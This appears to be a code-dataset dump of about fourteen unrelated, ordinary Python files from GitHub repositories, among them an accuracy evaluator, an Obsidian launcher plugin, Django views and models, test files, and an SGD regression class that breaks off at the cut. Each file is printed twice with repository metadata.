image-classification/evaluate_classification.py

rush2406/vipriors-challenges-toolkit

13552

""" Use this script to evaluate your model. It stores metrics in the file `scores.txt`. Input: predictions (str): filepath. Should be a file that matches the submission format; groundtruths (str): filepath. Should be an annotation file. Usage: evaluate_classification.py <groundtruths> <predictions> <output_dir> """ import numpy as np import pandas as pd import os import sys OUTPUT_FILE = 'scores.txt' def evaluate_from_files(groundtruths_filepath, predictions_filepath, output_dir): output_dir = output_dir data = pd.read_csv(groundtruths_filepath) sub_data = pd.read_csv(predictions_filepath) ground_truth = data.to_numpy() submission = sub_data.to_numpy() indexed_gt = {} for idx in range(len(ground_truth)): indexed_gt[ground_truth[idx][0]] = ground_truth[idx] indexed_sbm = {} for idx in range(len(submission)): indexed_sbm[submission[idx][0]] = submission[idx] tp = 0.0 fp = 0.0 for im_idx in indexed_gt: if im_idx not in indexed_sbm: continue if indexed_gt[im_idx][1] == indexed_sbm[im_idx][1]: tp += 1. else: fp += 1. acc = tp / (tp+fp) print('accuracy', acc) metrics = [("Top1 accuracy", acc)] with open(os.path.join(output_dir, OUTPUT_FILE), 'w') as f: for name, val in metrics: f.write(f"{name}: {val:.8f}\n") print("Metrics written to scores.txt.") if __name__ == '__main__': args = sys.argv[1:] evaluate_from_files(args[0], args[1], args[2])

""" Use this script to evaluate your model. It stores metrics in the file `scores.txt`. Input: predictions (str): filepath. Should be a file that matches the submission format; groundtruths (str): filepath. Should be an annotation file. Usage: evaluate_classification.py <groundtruths> <predictions> <output_dir> """ import numpy as np import pandas as pd import os import sys OUTPUT_FILE = 'scores.txt' def evaluate_from_files(groundtruths_filepath, predictions_filepath, output_dir): output_dir = output_dir data = pd.read_csv(groundtruths_filepath) sub_data = pd.read_csv(predictions_filepath) ground_truth = data.to_numpy() submission = sub_data.to_numpy() indexed_gt = {} for idx in range(len(ground_truth)): indexed_gt[ground_truth[idx][0]] = ground_truth[idx] indexed_sbm = {} for idx in range(len(submission)): indexed_sbm[submission[idx][0]] = submission[idx] tp = 0.0 fp = 0.0 for im_idx in indexed_gt: if im_idx not in indexed_sbm: continue if indexed_gt[im_idx][1] == indexed_sbm[im_idx][1]: tp += 1. else: fp += 1. acc = tp / (tp+fp) print('accuracy', acc) metrics = [("Top1 accuracy", acc)] with open(os.path.join(output_dir, OUTPUT_FILE), 'w') as f: for name, val in metrics: f.write(f"{name}: {val:.8f}\n") print("Metrics written to scores.txt.") if __name__ == '__main__': args = sys.argv[1:] evaluate_from_files(args[0], args[1], args[2])

pt

src/118. Pascal's Triangle.py

rajshrivastava/LeetCode

13553

class Solution: def generate(self, numRows: int) -> List[List[int]]: result = [[1]] for i in range(1, numRows): temp = [1] for j in range(1, i): temp.append(result[-1][j-1] + result[-1][j]) temp.append(1) result.append(temp) return result

class Solution: def generate(self, numRows: int) -> List[List[int]]: result = [[1]] for i in range(1, numRows): temp = [1] for j in range(1, i): temp.append(result[-1][j-1] + result[-1][j]) temp.append(1) result.append(temp) return result

none

__init__.py

j0rd1smit/obsidian-albert-plugin

13554

<gh_stars>1-10 # -*- coding: utf-8 -*- """A simple plugin that makes it possible to search your Obsidian vault. This extension makes it possible to search your Obsidian vault. For more information please visit https://github.com/j0rd1smit/obsidian-albert-plugin. Synopsis: ob <query>""" from albert import * import os from time import sleep from pathlib import Path import sys import json __title__ = "Obsidian" __version__ = "0.0.1" __triggers__ = "ob " __authors__ = "J0rd1smit" __exec_deps__ = [] __py_deps__ = [] PATH_TO_CONFIG_FOLDER = Path.home() / ".config/albert/obsidian-plugin" PATH_TO_CONFIG_DATA = PATH_TO_CONFIG_FOLDER / "config.json" PATH_TO_ICON = os.path.dirname(__file__) + "/plugin.png" iconPath = iconLookup("albert") def initialize(): PATH_TO_CONFIG_FOLDER.mkdir(parents=True, exist_ok=True) if not PATH_TO_CONFIG_DATA.exists(): _create_default_config() def _create_default_config(): with open(PATH_TO_CONFIG_DATA, "w") as f: data = { "vault_name": "obsidian", "path_to_vault": str(Path.home() / "obsidian"), "commands": [ { "name": "New note", "subtext": "Add a new note to the vault", "uri": "obsidian://new?vault=REPLACE_WITH_VAULT_NAME&name={{q}}" } ], } json.dump(data, f, indent=4) def handleQuery(query): if not query.isTriggered: return query_text = query.string.lower() with open(PATH_TO_CONFIG_DATA) as f: config = json.load(f) vault_name = config["vault_name"] path_to_vault = Path(config["path_to_vault"]) commands = config["commands"] item_ranking_pairs = [] max_ranking = 0 for path in path_to_vault.rglob("*.md"): item, ranking = create_open_note_item(vault_name, path_to_vault, path, query_text) max_ranking = max(max_ranking, ranking) item_ranking_pairs.append((item, ranking)) for command in commands: item, ranking = create_uri_item(query_text, command) max_ranking = max(max_ranking, ranking) item_ranking_pairs.append((item, ranking)) return [item for (item, ranking) in item_ranking_pairs if ranking == max_ranking] def create_open_note_item( vault_name, path_to_vault, path_to_file, query, ): path_rel_to_vault = str(path_to_file).replace(str(path_to_vault), "") path_rel_to_vault_encoded = to_uri_encoding(path_rel_to_vault) action = UrlAction( text="UrlAction", url=f"obsidian://open?vault={vault_name}&file={path_rel_to_vault_encoded}", ) item = Item( id=__title__, icon=PATH_TO_ICON, text=path_to_file.name, subtext=path_rel_to_vault, actions=[action], ) return item, _n_matches(path_rel_to_vault, query) def to_uri_encoding(s): return s.replace(' ', '%20').replace("/", "%2F") def _n_matches(key, query): key = key.lower() matches = 0 for search_key in query.split(" "): if search_key in key: matches += 1 return matches def create_uri_item( query, uri_config, ): name = uri_config["name"] subtext = uri_config["subtext"] uri_template = uri_config["uri"] q = query.lower() for i in name.lower().split(): q = q.replace(i, "") action = UrlAction( text="UrlAction", url=uri_template.replace("{{q}}", to_uri_encoding(q)), ) item = Item(id=__title__, icon=PATH_TO_ICON, text=name, subtext=subtext, actions=[action], ) key = name if len(subtext) > 0: key = " " + subtext return item, _n_matches(key, query)

# -*- coding: utf-8 -*- """A simple plugin that makes it possible to search your Obsidian vault. This extension makes it possible to search your Obsidian vault. For more information please visit https://github.com/j0rd1smit/obsidian-albert-plugin. Synopsis: ob <query>""" from albert import * import os from time import sleep from pathlib import Path import sys import json __title__ = "Obsidian" __version__ = "0.0.1" __triggers__ = "ob " __authors__ = "J0rd1smit" __exec_deps__ = [] __py_deps__ = [] PATH_TO_CONFIG_FOLDER = Path.home() / ".config/albert/obsidian-plugin" PATH_TO_CONFIG_DATA = PATH_TO_CONFIG_FOLDER / "config.json" PATH_TO_ICON = os.path.dirname(__file__) + "/plugin.png" iconPath = iconLookup("albert") def initialize(): PATH_TO_CONFIG_FOLDER.mkdir(parents=True, exist_ok=True) if not PATH_TO_CONFIG_DATA.exists(): _create_default_config() def _create_default_config(): with open(PATH_TO_CONFIG_DATA, "w") as f: data = { "vault_name": "obsidian", "path_to_vault": str(Path.home() / "obsidian"), "commands": [ { "name": "New note", "subtext": "Add a new note to the vault", "uri": "obsidian://new?vault=REPLACE_WITH_VAULT_NAME&name={{q}}" } ], } json.dump(data, f, indent=4) def handleQuery(query): if not query.isTriggered: return query_text = query.string.lower() with open(PATH_TO_CONFIG_DATA) as f: config = json.load(f) vault_name = config["vault_name"] path_to_vault = Path(config["path_to_vault"]) commands = config["commands"] item_ranking_pairs = [] max_ranking = 0 for path in path_to_vault.rglob("*.md"): item, ranking = create_open_note_item(vault_name, path_to_vault, path, query_text) max_ranking = max(max_ranking, ranking) item_ranking_pairs.append((item, ranking)) for command in commands: item, ranking = create_uri_item(query_text, command) max_ranking = max(max_ranking, ranking) item_ranking_pairs.append((item, ranking)) return [item for (item, ranking) in item_ranking_pairs if ranking == max_ranking] def create_open_note_item( vault_name, path_to_vault, path_to_file, query, ): path_rel_to_vault = str(path_to_file).replace(str(path_to_vault), "") path_rel_to_vault_encoded = to_uri_encoding(path_rel_to_vault) action = UrlAction( text="UrlAction", url=f"obsidian://open?vault={vault_name}&file={path_rel_to_vault_encoded}", ) item = Item( id=__title__, icon=PATH_TO_ICON, text=path_to_file.name, subtext=path_rel_to_vault, actions=[action], ) return item, _n_matches(path_rel_to_vault, query) def to_uri_encoding(s): return s.replace(' ', '%20').replace("/", "%2F") def _n_matches(key, query): key = key.lower() matches = 0 for search_key in query.split(" "): if search_key in key: matches += 1 return matches def create_uri_item( query, uri_config, ): name = uri_config["name"] subtext = uri_config["subtext"] uri_template = uri_config["uri"] q = query.lower() for i in name.lower().split(): q = q.replace(i, "") action = UrlAction( text="UrlAction", url=uri_template.replace("{{q}}", to_uri_encoding(q)), ) item = Item(id=__title__, icon=PATH_TO_ICON, text=name, subtext=subtext, actions=[action], ) key = name if len(subtext) > 0: key = " " + subtext return item, _n_matches(key, query)

pt

py3Server/ClassMate/botResponses.py

GFBryson/myProjects

13555

<reponame>GFBryson/myProjects class responder(): def resp_hello(): hello=[] hello.append('Hey there "{usr}"! how\'s it going?') hello.append('Hi "{usr}" :grinning:') hello.append('Hello "{usr}", whats up?') hello.append('Hey "{usr}" :wave:,\nHow are you doing?') hello.append('Hi "{usr}"!\nI\'m StrugBot, and I\'m super happy to be here!!') hello.append('Sup "{usr}"!') hello.append('Hi "{usr}",\nwhat can I do for you?') hello.append('WAZZZZUUUUUUUUUUUUUUP "{usr}"') return hello def resp_trex(): return"I am a T-Rex!:t-rex:\nI have a BIG head and little arms,\nRAWWWRRRRR!!" def resp_date(): return 'the date is: ' def resp_time(): return 'the time is: '

class responder(): def resp_hello(): hello=[] hello.append('Hey there "{usr}"! how\'s it going?') hello.append('Hi "{usr}" :grinning:') hello.append('Hello "{usr}", whats up?') hello.append('Hey "{usr}" :wave:,\nHow are you doing?') hello.append('Hi "{usr}"!\nI\'m StrugBot, and I\'m super happy to be here!!') hello.append('Sup "{usr}"!') hello.append('Hi "{usr}",\nwhat can I do for you?') hello.append('WAZZZZUUUUUUUUUUUUUUP "{usr}"') return hello def resp_trex(): return"I am a T-Rex!:t-rex:\nI have a BIG head and little arms,\nRAWWWRRRRR!!" def resp_date(): return 'the date is: ' def resp_time(): return 'the time is: '

none

List_5/Task_1/instructions.py

Szpila123/Advanced_python_course

13556

import expressions import abc import copy class Instruction(abc.ABC): @abc.abstractmethod def __init__(): ... @abc.abstractmethod def wykonaj(self, zmienne) -> dict[str, int]: '''Evaluate the instruction''' ... @abc.abstractmethod def __str__(self): ... class If(Instruction): def __init__(self, cond: expressions.Wyrazenie, branch_true: Instruction, branch_false: Instruction): self._cond = cond self._branch_true = branch_true self._branch_false = branch_false def wykonaj(self, zmienne): if self._cond.oblicz(zmienne) == 0: lokalne_zmienne = self._branch_true.wykonaj(copy.copy(zmienne)) else: lokalne_zmienne = self._branch_false.wykonaj(copy.copy(zmienne)) for key in lokalne_zmienne: if key in zmienne: zmienne[key] = lokalne_zmienne[key] return zmienne def __str__(self): tab, nl = '\n\t\t', '\n' return f'if {str(self._cond)}\n\n\tthen\t{tab.join(str(self._branch_true).split(nl))}\n\n\telse\t{tab.join(str(self._branch_false).split(nl))}\n' class While(Instruction): def __init__(self, cond: expressions.Wyrazenie, branch: Instruction): self._cond = cond self._branch = branch def wykonaj(self, zmienne): while self._cond.oblicz(zmienne): lokalne_zmienne = self._branch.wykonaj(copy.copy(zmienne)) for key in lokalne_zmienne: if key in zmienne: zmienne[key] = lokalne_zmienne[key] return zmienne def __str__(self): tab, nl = '\n\t\t', '\n' return f'while {str(self._cond)}\n\n\tdo\t{tab.join(str(self._branch).split(nl))}\n' class Chain(Instruction): def __init__(self, instructions: list[Instruction]): self._chain = instructions def wykonaj(self, zmienne): for inst in self._chain: zmienne = inst.wykonaj(zmienne) return zmienne def __str__(self): return '\n'.join([str(inst) for inst in self._chain]) class Assign(Instruction): def __init__(self, var: expressions.Zmienna, val: expressions.Wyrazenie): self._var = var self._val = val def wykonaj(self, zmienne): zmienne[str(self._var)] = self._val.oblicz(zmienne) return zmienne def __str__(self): return f'{self._var} = {self._val}'

import expressions import abc import copy class Instruction(abc.ABC): @abc.abstractmethod def __init__(): ... @abc.abstractmethod def wykonaj(self, zmienne) -> dict[str, int]: '''Evaluate the instruction''' ... @abc.abstractmethod def __str__(self): ... class If(Instruction): def __init__(self, cond: expressions.Wyrazenie, branch_true: Instruction, branch_false: Instruction): self._cond = cond self._branch_true = branch_true self._branch_false = branch_false def wykonaj(self, zmienne): if self._cond.oblicz(zmienne) == 0: lokalne_zmienne = self._branch_true.wykonaj(copy.copy(zmienne)) else: lokalne_zmienne = self._branch_false.wykonaj(copy.copy(zmienne)) for key in lokalne_zmienne: if key in zmienne: zmienne[key] = lokalne_zmienne[key] return zmienne def __str__(self): tab, nl = '\n\t\t', '\n' return f'if {str(self._cond)}\n\n\tthen\t{tab.join(str(self._branch_true).split(nl))}\n\n\telse\t{tab.join(str(self._branch_false).split(nl))}\n' class While(Instruction): def __init__(self, cond: expressions.Wyrazenie, branch: Instruction): self._cond = cond self._branch = branch def wykonaj(self, zmienne): while self._cond.oblicz(zmienne): lokalne_zmienne = self._branch.wykonaj(copy.copy(zmienne)) for key in lokalne_zmienne: if key in zmienne: zmienne[key] = lokalne_zmienne[key] return zmienne def __str__(self): tab, nl = '\n\t\t', '\n' return f'while {str(self._cond)}\n\n\tdo\t{tab.join(str(self._branch).split(nl))}\n' class Chain(Instruction): def __init__(self, instructions: list[Instruction]): self._chain = instructions def wykonaj(self, zmienne): for inst in self._chain: zmienne = inst.wykonaj(zmienne) return zmienne def __str__(self): return '\n'.join([str(inst) for inst in self._chain]) class Assign(Instruction): def __init__(self, var: expressions.Zmienna, val: expressions.Wyrazenie): self._var = var self._val = val def wykonaj(self, zmienne): zmienne[str(self._var)] = self._val.oblicz(zmienne) return zmienne def __str__(self): return f'{self._var} = {self._val}'

pt

components/icdc-sheepdog/sheepdog/utils/parse.py

CBIIT/icdc-docker

13557

""" TODO """ from collections import Counter import simplejson import yaml import flask from sheepdog.errors import ( UserError, ) def oph_raise_for_duplicates(object_pairs): """ Given an list of ordered pairs, contstruct a dict as with the normal JSON ``object_pairs_hook``, but raise an exception if there are duplicate keys with a message describing all violations. """ counter = Counter(p[0] for p in object_pairs) duplicates = [p for p in counter.iteritems() if p[1] > 1] if duplicates: raise ValueError( 'The document contains duplicate keys: {}' .format(','.join(d[0] for d in duplicates)) ) return {pair[0]: pair[1] for pair in object_pairs} def parse_json(raw): """ Return a python representation of a JSON document. Args: raw (str): string of raw JSON content Raises: UserError: if any exception is raised parsing the JSON body .. note:: Uses :func:`oph_raise_for_duplicates` in parser. """ try: return simplejson.loads( raw, object_pairs_hook=oph_raise_for_duplicates ) except Exception as e: raise UserError('Unable to parse json: {}'.format(e)) def parse_request_json(expected_types=(dict, list)): """ Return a python representation of a JSON POST body. Args: raw (str): string of raw JSON content Return: TODO Raises: UserError: if any exception is raised parsing the JSON body UserError: if the result is not of the expected type If raw is not provided, pull the body from global request object. """ parsed = parse_json(flask.request.get_data()) if not isinstance(parsed, expected_types): raise UserError('JSON parsed from request is an invalid type: {}' .format(parsed.__class__.__name__)) return parsed def parse_request_yaml(): """ Return a python representation of a YAML POST body. Raise UserError if any exception is raised parsing the YAML body. """ try: return yaml.safe_load(flask.request.get_data()) except Exception as e: raise UserError('Unable to parse yaml: {}'.format(e))

""" TODO """ from collections import Counter import simplejson import yaml import flask from sheepdog.errors import ( UserError, ) def oph_raise_for_duplicates(object_pairs): """ Given an list of ordered pairs, contstruct a dict as with the normal JSON ``object_pairs_hook``, but raise an exception if there are duplicate keys with a message describing all violations. """ counter = Counter(p[0] for p in object_pairs) duplicates = [p for p in counter.iteritems() if p[1] > 1] if duplicates: raise ValueError( 'The document contains duplicate keys: {}' .format(','.join(d[0] for d in duplicates)) ) return {pair[0]: pair[1] for pair in object_pairs} def parse_json(raw): """ Return a python representation of a JSON document. Args: raw (str): string of raw JSON content Raises: UserError: if any exception is raised parsing the JSON body .. note:: Uses :func:`oph_raise_for_duplicates` in parser. """ try: return simplejson.loads( raw, object_pairs_hook=oph_raise_for_duplicates ) except Exception as e: raise UserError('Unable to parse json: {}'.format(e)) def parse_request_json(expected_types=(dict, list)): """ Return a python representation of a JSON POST body. Args: raw (str): string of raw JSON content Return: TODO Raises: UserError: if any exception is raised parsing the JSON body UserError: if the result is not of the expected type If raw is not provided, pull the body from global request object. """ parsed = parse_json(flask.request.get_data()) if not isinstance(parsed, expected_types): raise UserError('JSON parsed from request is an invalid type: {}' .format(parsed.__class__.__name__)) return parsed def parse_request_yaml(): """ Return a python representation of a YAML POST body. Raise UserError if any exception is raised parsing the YAML body. """ try: return yaml.safe_load(flask.request.get_data()) except Exception as e: raise UserError('Unable to parse yaml: {}'.format(e))

pt

frames/rocket/rocket_frames.py

rkinwork/dvmn_async-console-game

13558

<filename>frames/rocket/rocket_frames.py from pathlib import Path def get_rockets_frames(): """Init rocket animation frames.""" frames_files = ['rocket_frame_1.txt', 'rocket_frame_2.txt'] frames = [(Path(__file__).resolve().parent / frame_file_name).read_text() for frame_file_name in frames_files] return tuple(frames)

<filename>frames/rocket/rocket_frames.py from pathlib import Path def get_rockets_frames(): """Init rocket animation frames.""" frames_files = ['rocket_frame_1.txt', 'rocket_frame_2.txt'] frames = [(Path(__file__).resolve().parent / frame_file_name).read_text() for frame_file_name in frames_files] return tuple(frames)

pt

JuHPLC/views.py

FZJ-INM5/JuHPLC

13559

<filename>JuHPLC/views.py from JuHPLC.Views.NewChromatogram import * from JuHPLC.SerialCommunication.MicroControllerManager import MicroControllerManager # Create your views here. def index(request): chromatograms = Chromatogram.objects.all().order_by("-Datetime") for i in chromatograms: i.data = HplcData.objects.filter(Chromatogram=i).count()>0 return render(request, "index.html", { "chromatograms": chromatograms, "active": MicroControllerManager.getinstance().getactivechromatogramids() }) def mychromatograms(request): chromatograms = Chromatogram.objects.all().filter(User=request.user).order_by("-Datetime") for i in chromatograms: i.data = HplcData.objects.filter(Chromatogram=i).count()>0 return render(request, "index.html", { "chromatograms": chromatograms, "active": MicroControllerManager.getinstance().getactivechromatogramids() })

<filename>JuHPLC/views.py from JuHPLC.Views.NewChromatogram import * from JuHPLC.SerialCommunication.MicroControllerManager import MicroControllerManager # Create your views here. def index(request): chromatograms = Chromatogram.objects.all().order_by("-Datetime") for i in chromatograms: i.data = HplcData.objects.filter(Chromatogram=i).count()>0 return render(request, "index.html", { "chromatograms": chromatograms, "active": MicroControllerManager.getinstance().getactivechromatogramids() }) def mychromatograms(request): chromatograms = Chromatogram.objects.all().filter(User=request.user).order_by("-Datetime") for i in chromatograms: i.data = HplcData.objects.filter(Chromatogram=i).count()>0 return render(request, "index.html", { "chromatograms": chromatograms, "active": MicroControllerManager.getinstance().getactivechromatogramids() })

it

sequana/datatools.py

vladsaveliev/sequana

13560

# -*- coding: utf-8 -*- # # This file is part of Sequana software # # Copyright (c) 2016 - Sequana Development Team # # File author(s): # <NAME> <<EMAIL>> # <NAME> <<EMAIL>>, # <<EMAIL>> # # Distributed under the terms of the 3-clause BSD license. # The full license is in the LICENSE file, distributed with this software. # # website: https://github.com/sequana/sequana # documentation: http://sequana.readthedocs.io # ############################################################################## """Retrieve data from sequana library""" import os import easydev import glob import collections def sequana_data(filename=None, where=None): """Return full path of a sequana resource data file. :param str filename: a valid filename to be found :param str where: one of the registered data directory (see below) :return: the path of file. See also here below in the case where filename is set to "*". .. code-block:: python from sequana import sequana_data filename = sequana_data("test.bam") Type the function name with "*" parameter to get a list of available files. Withe where argument set, the function returns a list of files. Without the where argument, a dictionary is returned where keys correspond to the registered directories:: filenames = sequana_data("*", where="images") Registered directories are: - data - testing - data/adapters - images .. note:: this does not handle wildcards. The * means retrieve all files. """ sequana_path = easydev.get_package_location('sequana') sharedir = os.sep.join([sequana_path , "sequana", 'resources']) directories = ['data', 'testing', 'data/adapters', 'images', 'scripts'] if filename == "*": found = collections.defaultdict(list) if where is not None: directories = [where] for thisdir in directories: for filename in glob.glob(sharedir + "/%s/*" % thisdir): filename = os.path.split(filename)[1] to_ignore = ["__init__.py", "__pycache__"] if filename.endswith('.pyc') or filename in to_ignore: pass else: found[thisdir].append(os.path.split(filename)[1]) if where is not None: return found[where] return found if filename is None: for thisdir in directories: print('From %s directory:' % thisdir) for filename in glob.glob(sharedir + "/%s/*" % thisdir): filename = os.path.split(filename)[1] to_ignore = ["__init__.py", "__pycache__"] if filename.endswith('.pyc') or filename in to_ignore: pass else: print(' - sequana("%s", "%s")' % (os.path.split(filename)[1], thisdir)) raise ValueError("Choose a valid file from the list above") # in the code one may use / or \ if where: filename = os.sep.join([sharedir, where, filename]) else: def _get_valid_file(filename, directory): filename = os.sep.join([sharedir, directory, filename]) if os.path.exists(filename) is False: return False else: return filename # try to introspect the different directories # return filename if found otherwise raise error for thisdir in directories: if _get_valid_file(filename, thisdir): return _get_valid_file(filename, thisdir) raise Exception("unknown file %s. Type sequana_data() to get a list of valid names" % filename) return filename

# -*- coding: utf-8 -*- # # This file is part of Sequana software # # Copyright (c) 2016 - Sequana Development Team # # File author(s): # <NAME> <<EMAIL>> # <NAME> <<EMAIL>>, # <<EMAIL>> # # Distributed under the terms of the 3-clause BSD license. # The full license is in the LICENSE file, distributed with this software. # # website: https://github.com/sequana/sequana # documentation: http://sequana.readthedocs.io # ############################################################################## """Retrieve data from sequana library""" import os import easydev import glob import collections def sequana_data(filename=None, where=None): """Return full path of a sequana resource data file. :param str filename: a valid filename to be found :param str where: one of the registered data directory (see below) :return: the path of file. See also here below in the case where filename is set to "*". .. code-block:: python from sequana import sequana_data filename = sequana_data("test.bam") Type the function name with "*" parameter to get a list of available files. Withe where argument set, the function returns a list of files. Without the where argument, a dictionary is returned where keys correspond to the registered directories:: filenames = sequana_data("*", where="images") Registered directories are: - data - testing - data/adapters - images .. note:: this does not handle wildcards. The * means retrieve all files. """ sequana_path = easydev.get_package_location('sequana') sharedir = os.sep.join([sequana_path , "sequana", 'resources']) directories = ['data', 'testing', 'data/adapters', 'images', 'scripts'] if filename == "*": found = collections.defaultdict(list) if where is not None: directories = [where] for thisdir in directories: for filename in glob.glob(sharedir + "/%s/*" % thisdir): filename = os.path.split(filename)[1] to_ignore = ["__init__.py", "__pycache__"] if filename.endswith('.pyc') or filename in to_ignore: pass else: found[thisdir].append(os.path.split(filename)[1]) if where is not None: return found[where] return found if filename is None: for thisdir in directories: print('From %s directory:' % thisdir) for filename in glob.glob(sharedir + "/%s/*" % thisdir): filename = os.path.split(filename)[1] to_ignore = ["__init__.py", "__pycache__"] if filename.endswith('.pyc') or filename in to_ignore: pass else: print(' - sequana("%s", "%s")' % (os.path.split(filename)[1], thisdir)) raise ValueError("Choose a valid file from the list above") # in the code one may use / or \ if where: filename = os.sep.join([sharedir, where, filename]) else: def _get_valid_file(filename, directory): filename = os.sep.join([sharedir, directory, filename]) if os.path.exists(filename) is False: return False else: return filename # try to introspect the different directories # return filename if found otherwise raise error for thisdir in directories: if _get_valid_file(filename, thisdir): return _get_valid_file(filename, thisdir) raise Exception("unknown file %s. Type sequana_data() to get a list of valid names" % filename) return filename

it

example/models.py

nim65s/django-jugemaj

13561

<filename>example/models.py """Django models for the example app.""" from django.db import models from wikidata.client import Client # type: ignore LANGS = ["fr", "en"] # ordered list of langages to check on wikidata class WikiDataModel(models.Model): """A django model to represent something available on wikidata.""" name = models.CharField(max_length=50) wikidata = models.PositiveIntegerField() def __str__(self): """Get the name of this wikidata instance.""" return self.name @property def wikidata_url(self): """Get a direct link to the wikidata item.""" return f"https://www.wikidata.org/wiki/Q{self.wikidata}" def update_name(self): """Update the name from wikidata.""" labels = Client().get(f"Q{self.wikidata}", load=True).data["labels"] self.name = next(labels[lang] for lang in LANGS if lang in labels)["value"] self.save()

<filename>example/models.py """Django models for the example app.""" from django.db import models from wikidata.client import Client # type: ignore LANGS = ["fr", "en"] # ordered list of langages to check on wikidata class WikiDataModel(models.Model): """A django model to represent something available on wikidata.""" name = models.CharField(max_length=50) wikidata = models.PositiveIntegerField() def __str__(self): """Get the name of this wikidata instance.""" return self.name @property def wikidata_url(self): """Get a direct link to the wikidata item.""" return f"https://www.wikidata.org/wiki/Q{self.wikidata}" def update_name(self): """Update the name from wikidata.""" labels = Client().get(f"Q{self.wikidata}", load=True).data["labels"] self.name = next(labels[lang] for lang in LANGS if lang in labels)["value"] self.save()

pt

build_tests/python_opencv.py

AustinSchuh/971-Robot-Code

13562

#!/usr/bin/python3 import cv2 if __name__ == '__main__': cv2.SIFT_create()

#!/usr/bin/python3 import cv2 if __name__ == '__main__': cv2.SIFT_create()

es

tests/pytorch_pfn_extras_tests/training_tests/extensions_tests/test_print_report_notebook.py

yasuyuky/pytorch-pfn-extras

13563

import io import pytest import pytorch_pfn_extras as ppe from pytorch_pfn_extras.training.extensions import _ipython_module_available from pytorch_pfn_extras.training.extensions.log_report import _pandas_available @pytest.mark.skipif( not _ipython_module_available or not _pandas_available, reason="print report notebook import failed, " "maybe ipython is not installed" ) def test_run_print_report_notebook(): max_epochs = 5 iters_per_epoch = 5 manager = ppe.training.ExtensionsManager( {}, {}, max_epochs, iters_per_epoch=iters_per_epoch) out = io.StringIO() log_report = ppe.training.extensions.LogReport() manager.extend(log_report) extension = ppe.training.extensions.PrintReportNotebook(out=out) manager.extend(extension) for _ in range(max_epochs): for _ in range(iters_per_epoch): with manager.run_iteration(): # Only test it runs without fail # The value is not tested now... pass if __name__ == '__main__': pytest.main([__file__, '-v', '-s'])

import io import pytest import pytorch_pfn_extras as ppe from pytorch_pfn_extras.training.extensions import _ipython_module_available from pytorch_pfn_extras.training.extensions.log_report import _pandas_available @pytest.mark.skipif( not _ipython_module_available or not _pandas_available, reason="print report notebook import failed, " "maybe ipython is not installed" ) def test_run_print_report_notebook(): max_epochs = 5 iters_per_epoch = 5 manager = ppe.training.ExtensionsManager( {}, {}, max_epochs, iters_per_epoch=iters_per_epoch) out = io.StringIO() log_report = ppe.training.extensions.LogReport() manager.extend(log_report) extension = ppe.training.extensions.PrintReportNotebook(out=out) manager.extend(extension) for _ in range(max_epochs): for _ in range(iters_per_epoch): with manager.run_iteration(): # Only test it runs without fail # The value is not tested now... pass if __name__ == '__main__': pytest.main([__file__, '-v', '-s'])

pt

examples/python/00-list-devices.py

vishal-prgmr/tiscamera

13564

#!/usr/bin/env python3 # Copyright 2017 The Imaging Source Europe GmbH # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # This example will show you how to list information about the available devices # import sys import gi gi.require_version("Tcam", "0.1") gi.require_version("Gst", "1.0") from gi.repository import Tcam, Gst def list_devices(): """ Print information about all available devices """ source = Gst.ElementFactory.make("tcambin") serials = source.get_device_serials() for single_serial in serials: # This returns someting like: # (True, # name='DFK Z12GP031', # identifier='The Imaging Source Europe GmbH-11410533', # connection_type='aravis') # The identifier is the name given by the backend # The connection_type identifies the backend that is used. # Currently 'aravis', 'v4l2', 'libusb' and 'unknown' exist (return_value, model, identifier, connection_type) = source.get_device_info(single_serial) # return value would be False when a non-existant serial is used # since we are iterating get_device_serials this should not happen if return_value: print("Model: {} Serial: {} Type: {}".format(model, single_serial, connection_type)) if __name__ == "__main__": Gst.init(sys.argv) # init gstreamer list_devices()

#!/usr/bin/env python3 # Copyright 2017 The Imaging Source Europe GmbH # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # This example will show you how to list information about the available devices # import sys import gi gi.require_version("Tcam", "0.1") gi.require_version("Gst", "1.0") from gi.repository import Tcam, Gst def list_devices(): """ Print information about all available devices """ source = Gst.ElementFactory.make("tcambin") serials = source.get_device_serials() for single_serial in serials: # This returns someting like: # (True, # name='DFK Z12GP031', # identifier='The Imaging Source Europe GmbH-11410533', # connection_type='aravis') # The identifier is the name given by the backend # The connection_type identifies the backend that is used. # Currently 'aravis', 'v4l2', 'libusb' and 'unknown' exist (return_value, model, identifier, connection_type) = source.get_device_info(single_serial) # return value would be False when a non-existant serial is used # since we are iterating get_device_serials this should not happen if return_value: print("Model: {} Serial: {} Type: {}".format(model, single_serial, connection_type)) if __name__ == "__main__": Gst.init(sys.argv) # init gstreamer list_devices()

pt

regression/sgd.py

sahitpj/MachineLearning

13565

from .linear_torch import TorchGradientDescentAutogradRegression import torch, math, random class stochasticGradientDescent(TorchGradientDescentAutogradRegression): def __init__(self, X, Y, alpha, **kwargs): super(stochasticGradientDescent, self).__init__(X, Y, alpha, **kwargs) try: h = kwargs['batch_size'] self.iterations = int(self.Y.shape[0])/h self.batch_size = int(self.Y.shape[0])/self.iterations except: self.iterations = int(self.Y.shape[0]) self.batch_size = 1 try: self.epochs_no = kwargs['epochs_no'] except: self.epochs_no = 1 self.batches = None def assign_batchs(self): r = range(int(self.Y.shape[0])) random.shuffle(r, random.random) batches = list() for i in xrange(self.iterations): batches.append(r[i:i+self.batch_size]) self.batches = batches return batches def ForwardFunction(self, i): X = self.X[self.batches[i]] Y = self.Y[self.batches[i]] p = torch.mean((Y-X.mm(self.theta.double()))**2) #Loss function forward function self.objective = p return p def get_grads(self, i): self.initialise_theta() k = self.ForwardFunction(i) self.objective.backward() self.gradients = self.theta.grad return self.gradients def epoch(self): for i in xrange(self.iterations): self.update_theta(i) return self.theta def update_theta(self, i): h = self.get_grads(i) current_theta = self.theta.clone() #cloing theta so that we don't update in-place values current_theta -= self.gradients*self.alpha self.theta = 